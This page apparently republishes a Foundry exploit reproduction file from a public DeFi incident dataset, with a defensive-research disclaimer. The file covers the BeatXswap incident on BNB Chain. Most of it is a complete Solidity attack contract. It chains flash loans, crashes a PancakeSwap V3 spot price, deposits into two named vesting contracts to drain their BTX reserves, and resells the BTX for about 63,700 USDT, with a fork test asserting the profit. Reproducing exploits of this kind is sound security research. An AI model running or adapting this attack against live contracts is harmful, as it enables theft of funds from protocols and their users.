Public reproduction file
src/test/2026-09/BeatXswap_exp.sol
Public reproduction file for dataset entry BeatXswap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// BeatSwap (BTX) LiquidityVestingConvert - slot0 spot-price oracle manipulation draining the7// vesting contracts' own BTX reserves - BNB Chain. Attacker realized ~63,704 USDT profit.8//9// Attack tx : 0xcc71a3bb131c73462b0f25533070113a63c85e942a22e18bc945eec184eb5799 (block 120873720)10// Attacker EOA : 0x67B2f08683A735cfE6f6E57fA86909b62218C2a111// Exploit (on-chain, contract-creation tx; the ctor ran the whole attack): 0xaff5A574941981cF7F994f2820F7fA26FE031DEd12// Victim #1 : 0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D (LiquidityVestingConvert, verified)13// Victim #2 : 0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F (LiquidityVestingConvertOnce, verified, same logic)14// BTX token : 0xAa242a47F4cC074E59cbC7D65309B1F21202AaA315// USDT : 0x55d398326f99059fF775485246999027B319795516// Target pool : 0xA5Db84d7BCcb799fb31bd3c417D04d5bC29Da96D (PancakeSwap V3 USDT/BTX, fee 100, the slot0 oracle both victims read)17//18// Root cause (confirmed against BeatSwap's verified source, not just the alerts):19// LiquidityVestingConvert.deposit() is fully permissionless (nonReentrant + whenNotPaused only).20// It prices BTX off the PancakeSwap V3 pool's spot state with no TWAP, no deviation guard:21// _calculateQuote(usdtIn): reads TARGET_POOL.slot0().sqrtPriceX96, squares it, and returns22// requiredBTX = usdtIn * sqrtP^2 / 2^192 (raw spot price, single read)23// _executeMint(toLP): reads TARGET_POOL.slot0() again for the current tick, builds a24// +-6000 tick range around it, and mints a V3 LP position pairing the caller's USDT with25// requiredBTX taken from the contract's OWN BTX reserves, recipient = the vesting contract.26// The slippage guard is ineffective by construction: amount1Min = requiredBTX * 97 / 100, i.e. it27// validates the mint against the already-manipulated quote, not against any independent reference,28// so a crashed spot price passes its own 3% band. deposit() splits 75% of the USDT to treasury and29// only 25% to the LP, yet sizes the BTX leg off the full manipulated quote, so a tiny USDT deposit30// drags the contract's entire BTX reserve into a bad-tick position.31//32// Attack flow, reconstructed below as ordinary typed calls (no bytecode blob, no raw calldata replay):33// 1. Flash-borrow 15,950 USDT from Moolah (onMoolahFlashLoan) as working capital.34// 2. Inside a Pancake Infinity Vault lock (lockAcquired), take 6,000,000 BTX flash from the Vault.35// 3. Dump BTX into the V3 pool (zeroForOne=false) to crash sqrtPriceX96 -> BTX quotes far too cheap.36// 4. deposit(10,000 USDT) into victim #1: it mints an LP at the crashed tick using its ~1.24M BTX reserve.37// 5. Dump more BTX to push the price further, then deposit(2,000 USDT) into victim #2: ~1.83M BTX reserve pulled.38// 6. Reverse the swap (buy BTX back) to restore the pool, sweeping up the BTX the victims just added as liquidity.39// 7. Repay the 6M BTX flash to the Vault; sell the net-drained BTX (~2.98M) into the UNMANIPULATED Pancake40// Infinity CL USDT/BTX pool for ~77,512 USDT; repay Moolah; keep the ~63,704 USDT surplus.41//42// The two "reported loss" figures reconcile here: ~2,984,557 BTX / ~77,512 USDT is the BTX drained from the43// victims and resold on the CL pool (the 77,512 USDT taken from the Vault); ~63,704 USDT is that gross resale44// minus the swap round-trip and the two 75%-to-treasury deposit costs, i.e. the attacker's net realized profit.46interface IERC20 {47 function balanceOf(address) external view returns (uint256);48 function transfer(address to, uint256 amount) external returns (bool);49 function transferFrom(address from, address to, uint256 amount) external returns (bool);50 function approve(address spender, uint256 amount) external returns (bool);51}53interface IMoolah {54 function flashLoan(address token, uint256 amount, bytes calldata data) external;55}57// Pancake Infinity Vault (singleton that custodies funds and tracks transient per-locker deltas).58interface IInfinityVault {59 function lock(bytes calldata data) external returns (bytes memory);60 function take(address currency, address to, uint256 amount) external;61 function sync(address currency) external;62 function settle() external payable returns (uint256 paid);63 function currencyDelta(address locker, address currency) external view returns (int256);64}66// Pancake Infinity CL pool manager (pool math; operates against the Vault's accounting).67interface ICLPoolManager {68 struct PoolKey {69 address currency0;70 address currency1;71 address hooks;72 address poolManager;73 uint24 fee;74 bytes32 parameters;75 }77 struct SwapParams {78 bool zeroForOne;79 int256 amountSpecified; // negative = exact input (v4/Infinity convention)80 uint160 sqrtPriceLimitX96;81 }83 function swap(PoolKey calldata key, SwapParams calldata params, bytes calldata hookData)84 external85 returns (int256 delta);86}88interface IPancakeV3Pool {89 function swap(90 address recipient,91 bool zeroForOne,92 int256 amountSpecified,93 uint160 sqrtPriceLimitX96,94 bytes calldata data95 ) external returns (int256 amount0, int256 amount1);96 function slot0()97 external98 view99 returns (100 uint160 sqrtPriceX96,101 int24 tick,102 uint16 observationIndex,103 uint16 observationCardinality,104 uint16 observationCardinalityNext,105 uint32 feeProtocol,106 bool unlocked107 );108}110interface IVesting {111 function deposit(uint256 usdtAmount) external;112}114contract BeatXswapExploit {115 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);116 IERC20 constant BTX = IERC20(0xAa242a47F4cC074E59cbC7D65309B1F21202AaA3);118 IMoolah constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);119 IInfinityVault constant VAULT = IInfinityVault(0x238a358808379702088667322f80aC48bAd5e6c4);120 ICLPoolManager constant CL_MANAGER = ICLPoolManager(0xa0FfB9c1CE1Fe56963B0321B32E7A0302114058b);121 address constant CL_HOOK = 0x72e09eBd9b24F47730b651889a4eD984CBa53d90;123 IPancakeV3Pool constant POOL = IPancakeV3Pool(0xA5Db84d7BCcb799fb31bd3c417D04d5bC29Da96D); // oracle pool124 IPancakeV3Pool constant POOL996 = IPancakeV3Pool(0x996A155A2BE7729Ae90884795EA61691FBE84079); // BTX trim pool126 IVesting constant VICTIM1 = IVesting(0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D);127 IVesting constant VICTIM2 = IVesting(0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F);129 // Exact amounts observed in the attack trace at the parent block; reproduce deterministically on the fork.130 uint256 constant USDT_FLASH = 15_950e18;131 uint256 constant BTX_FLASH = 6_000_000e18;132 uint256 constant DEPOSIT1 = 10_000e18;133 uint256 constant DEPOSIT2 = 2_000e18;135 int256 constant DUMP1_IN = 6_000_000e18; // exact-input BTX, capped by price limit136 uint160 constant DUMP1_LIMIT = 1764781723873694064036615220121;137 int256 constant DUMP2_IN = 1961580406744256470373928;138 uint160 constant DUMP2_LIMIT = 4795876676032213778971365538586;139 int256 constant REVERSE_IN = 48750848698745158899669; // exact-input USDT to buy BTX back140 uint160 constant MIN_SQRT = 4295128741; // MIN_SQRT_RATIO + 1, price-down floor141 int256 constant TRIM_IN = 82_500e18; // BTX sold on POOL996 to size the CL sale142 uint160 constant MAX_SQRT = 1461446703485210103287273052203988822378723970340; // MAX_SQRT_RATIO region144 function attack() external {145 // Step 1: Moolah USDT flash loan -> onMoolahFlashLoan callback.146 MOOLAH.flashLoan(address(USDT), USDT_FLASH, "");147 }149 // ---- Moolah flash-loan callback ----150 function onMoolahFlashLoan(uint256 amount, bytes calldata) external {151 require(msg.sender == address(MOOLAH), "not moolah");152 // Step 2: enter the Pancake Infinity Vault lock; it calls back lockAcquired.153 VAULT.lock("");154 // Repay Moolah: it pulls the principal via transferFrom after the callback returns (zero fee here).155 USDT.approve(address(MOOLAH), 0);156 USDT.approve(address(MOOLAH), amount);157 }159 // ---- Pancake Infinity Vault lock callback (the attack body) ----160 function lockAcquired(bytes calldata) external returns (bytes memory) {161 require(msg.sender == address(VAULT), "not vault");163 // Step 2b: flash-take 6M BTX from the Vault (settled at the end of the lock).164 VAULT.take(address(BTX), address(this), BTX_FLASH);166 // Step 3: crash the oracle pool's spot price by dumping BTX (zeroForOne=false: BTX in, USDT out).167 POOL.swap(address(this), false, DUMP1_IN, DUMP1_LIMIT, hex"01");169 // Step 4: deposit into victim #1 while the price is crashed -> it mints an LP draining its BTX reserve.170 USDT.approve(address(VICTIM1), DEPOSIT1);171 VICTIM1.deposit(DEPOSIT1);173 // Step 5: push the price further, then deposit into victim #2.174 POOL.swap(address(this), false, DUMP2_IN, DUMP2_LIMIT, hex"01");175 USDT.approve(address(VICTIM2), DEPOSIT2);176 VICTIM2.deposit(DEPOSIT2);178 // Step 6: reverse the swap (zeroForOne=true: USDT in, BTX out) to restore the pool and sweep the179 // liquidity the victims just added, recovering far more BTX than was dumped.180 POOL.swap(address(this), true, REVERSE_IN, MIN_SQRT, hex"01");182 // Step 7a: repay the 6M BTX flash to the Vault.183 VAULT.sync(address(BTX));184 BTX.transfer(address(VAULT), BTX_FLASH);185 VAULT.settle();187 // Step 7b: trim a slice of BTX on a thin pool to size the CL sale exactly.188 POOL996.swap(address(this), false, TRIM_IN, MAX_SQRT, hex"01");190 // Step 7c: sell the net-drained BTX into the UNMANIPULATED Pancake Infinity CL USDT/BTX pool.191 uint256 btxToSell = BTX.balanceOf(address(this));192 ICLPoolManager.PoolKey memory key = ICLPoolManager.PoolKey({193 currency0: address(USDT),194 currency1: address(BTX),195 hooks: CL_HOOK,196 poolManager: address(CL_MANAGER),197 fee: 67,198 parameters: 0x00000000000000000000000000000000000000000000000000000000000a0055199 });200 ICLPoolManager.SwapParams memory sp = ICLPoolManager.SwapParams({201 zeroForOne: false, // BTX(currency1) in, USDT(currency0) out202 amountSpecified: -int256(btxToSell), // exact input of all remaining BTX203 sqrtPriceLimitX96: MAX_SQRT204 });205 CL_MANAGER.swap(key, sp, "");207 // Step 7d: settle the CL deltas - pay the BTX we owe, take the USDT we are owed.208 VAULT.sync(address(BTX));209 BTX.transfer(address(VAULT), btxToSell);210 VAULT.settle();211 int256 usdtCredit = VAULT.currencyDelta(address(this), address(USDT));212 require(usdtCredit > 0, "no usdt credit");213 VAULT.take(address(USDT), address(this), uint256(usdtCredit));215 return "";216 }218 // ---- V3 swap callbacks: pay whichever token we owe (positive delta). token0=USDT, token1=BTX. ----219 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {220 _payV3(amount0Delta, amount1Delta);221 }223 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {224 _payV3(amount0Delta, amount1Delta);225 }227 function _payV3(int256 amount0Delta, int256 amount1Delta) internal {228 if (amount0Delta > 0) USDT.transfer(msg.sender, uint256(amount0Delta));229 if (amount1Delta > 0) BTX.transfer(msg.sender, uint256(amount1Delta));230 }231}233contract BeatXswap_exp is Test {234 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);235 IERC20 constant BTX = IERC20(0xAa242a47F4cC074E59cbC7D65309B1F21202AaA3);236 address constant VICTIM1 = 0x1e647FAADb05f2124BFCcFC003EDc06D1A90bf5D;237 address constant VICTIM2 = 0x9a7A92240FBAc4030b65A6E61239928d6Bcc716F;239 function setUp() public {240 vm.createSelectFork("bsc", 120873719); // parent block of the exploit tx241 }243 /// forge-config: default.evm_version = "cancun"244 function testExploit() public {245 emit log_named_decimal_uint("victim1 BTX reserve before", BTX.balanceOf(VICTIM1), 18);246 emit log_named_decimal_uint("victim2 BTX reserve before", BTX.balanceOf(VICTIM2), 18);248 BeatXswapExploit exploit = new BeatXswapExploit();250 assertEq(USDT.balanceOf(address(exploit)), 0, "attacker should start with no USDT");251 assertEq(BTX.balanceOf(address(exploit)), 0, "attacker should start with no BTX");253 exploit.attack();255 uint256 profit = USDT.balanceOf(address(exploit));256 emit log_named_decimal_uint("victim1 BTX reserve after ", BTX.balanceOf(VICTIM1), 18);257 emit log_named_decimal_uint("victim2 BTX reserve after ", BTX.balanceOf(VICTIM2), 18);258 emit log_named_decimal_uint("attacker USDT profit ", profit, 18);260 // Both flash loans repaid inside attack(); no BTX left over.261 assertEq(BTX.balanceOf(address(exploit)), 0, "BTX flash not fully repaid");262 // Realized profit matches the on-chain 63,704.837... USDT sent to the attacker EOA.263 assertApproxEqRel(profit, 63_704_837356523361110351, 0.01e18, "profit off expected ~63.7K USDT");264 }265}Analysis
Dataset entry
Public Foundry test for “BeatXswap” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x67b2f08683a735cfe6f6e57fa86909b62218c2a1
- Victim
0x1e647faadb05f2124bfccfc003edc06d1a90bf5d
- Victim
0x9a7a92240fbac4030b65a6e61239928d6bcc716f
- Attack Tx
0xcc71a3bb131c73462b0f25533070113a63c85e942a22e18bc945eec184eb5799
File record
- Name
- BeatXswap
- Path
- src/test/2026-09/BeatXswap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ce4fb3c4ad4f7450c37c4bb47be1e8489d4f0d02
- Language
- Solidity
- Size
- 266 lines
- Date
- 2026-09-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/BeatXswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce4fb3c4ad4f7450c37c4bb47be1e8489d4f0d02, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.